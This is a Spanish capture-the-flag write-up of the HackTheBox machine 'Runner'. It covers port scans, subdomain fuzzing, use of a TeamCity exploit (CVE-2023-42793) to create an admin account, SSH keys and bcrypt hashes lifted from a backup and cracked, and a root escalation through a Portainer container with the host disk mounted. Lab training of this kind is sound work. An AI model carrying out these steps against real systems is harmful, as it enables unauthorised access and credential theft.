Runner es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Runner 10.10.11.13 a /etc/hosts como runner.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.10.11.13 Nmap scan report for 10.10.11.13 Host is up, received echo-reply ttl 63 (0.080s latency). Scanned at 2024-04-26 22:53:10 CEST for 13s Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 8000/tcp open http-alt syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Fri Apr 26 22:53:23 2024 -- 1 IP address (1 host up) scanned in 13.75 seconds |
Detectados los puertos abiertos analizamos más en detalle los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
$ nmap -sCV -p 22,80,8000 -oA enumeration/nmap2 10.10.11.13 Nmap scan report for 10.10.11.13 Host is up (0.061s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://runner.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) 8000/tcp open nagios-nsca Nagios NSCA |_http-title: Site doesn't have a title (text/plain; charset=utf-8). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Apr 26 22:53:43 2024 -- 1 IP address (1 host up) scanned in 8.75 seconds |
Enumeración
Revisamos el portal web del puerto 80 y vemos la siguiente web

Revisamos la página aunque no parece que haya nada por aquí, y lo mismo nos ocurre con el puerto 8080, así que procedemos a enumerar subdominios
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
$ ffuf -u http://runner.htb -w /data/dicts/SecLists/Discovery/DNS/dns-Jhaddix.txt -H "Host: FUZZ.runner.htb" -t 100 -fs 154 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://runner.htb :: Wordlist : FUZZ: /data/dicts/SecLists/Discovery/DNS/dns-Jhaddix.txt :: Header : Host: FUZZ.runner.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 100 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 154 ________________________________________________ teamcity [Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 50ms] |
Encontramos un subdominio nuevo, teamcity, así que lo añadimos al fichero hosts y al acceder vemos el siguiente formulario de login

Al revisar la página vemos que se trata de la herramienta de CI/CD teamcity cuya versión es 2023.05.3 (build 129390) , por lo que nos vamos a google y encontramos la vulnerabilidad CVE-2023-42793 que además tiene un exploit para crear un usuario con permisos de admin.
Por lo tanto, descargamos el exploit y lo ejecutaremos para crear un usuario
|
1 2 |
$ python3 CVE-2023-42793.py -u http://teamcity.runner.htb/ [+] http://teamcity.runner.htb/login.html [H454NSec1646:@H454NSec] |
Y accedemos con las credenciales generadas

Viendo las opciones disponibles, podemos realizar un backup del portal

Así que hacemos el backup, lo descargamos, y al revisar encontramos una clave ssh
|
1 2 |
$ find . -name "*id_rsa*" ./config/projects/AllProjects/pluginData/ssh_keys/id_rsa |
Obteniendo la flag de user
Con la clave ssh obtenida, accedemos con el usuario john y obtenemos la primera flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
$ ssh -i id_rsa john@runner.htb Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Fri Apr 26 09:24:02 PM UTC 2024 System load: 0.2451171875 Usage of /: 80.3% of 9.74GB Memory usage: 50% Swap usage: 0% Processes: 226 Users logged in: 0 IPv4 address for br-21746deff6ac: 172.18.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for eth0: 10.10.11.13 IPv6 address for eth0: dead:beef::250:56ff:feb9:3eb8 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment. https://ubuntu.com/engage/secure-kubernetes-at-the-edge Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update john@runner:~$ id uid=1001(john) gid=1001(john) groups=1001(john) john@runner:~$ ls -l total 4 -rw-r----- 1 root john 33 Apr 26 21:15 user.txt john@runner:~$ cat user.txt aaf7368eed82c219b8f18a3d8e3f1519 john@runner:~$ |
Escalado de privilegios
Revisamos la máquina y encontramos otro subdominio en el fichero hosts del servidor
|
1 2 3 4 5 6 7 8 9 10 |
john@runner:~$ cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 runner runner.htb teamcity.runner.htb portainer-administration.runner.htb # The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters |
Así que lo añadimos a nuestro fichero hosts y accedemos, viendo el login de portainer

En el dump anterior, también encontramos un fichero de ddbb con los usuarios y sus hashes
|
1 2 3 4 5 6 |
$ cat database_dump/users ID, USERNAME, PASSWORD, NAME, EMAIL, LAST_LOGIN_TIMESTAMP, ALGORITHM 1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1714166361796, BCRYPT 2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT 11, wwrlb86d, $2a$07$bSG8wLD/nj1JgsYURZHMjOwjsRxKECv5bSmwuF8LSn4lzlNr7lf6m, , wwrlb86d@example.com, 1714166323058, BCRYPT 12, h454nsec6649, $2a$07$k4XvS.vJUQZDi1RVHL.m..2AE.C9/TkpdyWB.5/YMUOCd9pVHxcAO, , "", 1714166379918, BCRYPT |
Los pasamos por john y obtenemos en claro la password del usuario mattew
|
1 2 3 4 5 6 7 |
$ john hash -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 128 for all loaded hashes Will run 16 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status piper123 (?) |
Con la que accedemos al portal de portainer

Llegados a este punto y después de muchas pruebas y vueltas, no encontramos un exploit ni nada similar así que vamos a tratar de acceder al host principal a través de un contenedor.
Creamos en primer lugar un volumen al que permitimos acceder al volumen local

Una vez creado el volumen, creamos el contenedor y se lo atachamos

El último paso será acceder a nuestro contenedor, donde tendremos acceso como root y el volumen local del host montado

Obteniendo la flag de root
Teniendo acceso desde el contenedor al disco raíz del host principal, obtenemos la clave ssh de root y accedemos por la misma, completando de esta manera la máquina
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
$ ssh -i root.pem root@runner.htb Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Fri Apr 26 09:54:33 PM UTC 2024 System load: 0.330078125 Usage of /: 80.4% of 9.74GB Memory usage: 51% Swap usage: 0% Processes: 236 Users logged in: 1 IPv4 address for br-21746deff6ac: 172.18.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for eth0: 10.10.11.13 IPv6 address for eth0: dead:beef::250:56ff:feb9:3eb8 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment. https://ubuntu.com/engage/secure-kubernetes-at-the-edge Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Fri Apr 26 21:54:34 2024 from 10.10.14.9 root@runner:~# id uid=0(root) gid=0(root) groups=0(root) root@runner:~# ls -l total 16 -rwxr-xr-x 1 root root 378 Apr 4 13:03 docker_clean.sh -rw-r--r-- 1 root root 1907 Apr 2 14:00 initial_state.txt -rwxr-xr-x 1 root root 592 Apr 2 13:55 monitor.sh -rw-r----- 1 root root 33 Apr 26 21:15 root.txt root@runner:~# cat root.txt 4c3833040a379ed66caa076f182dc191 root@runner:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










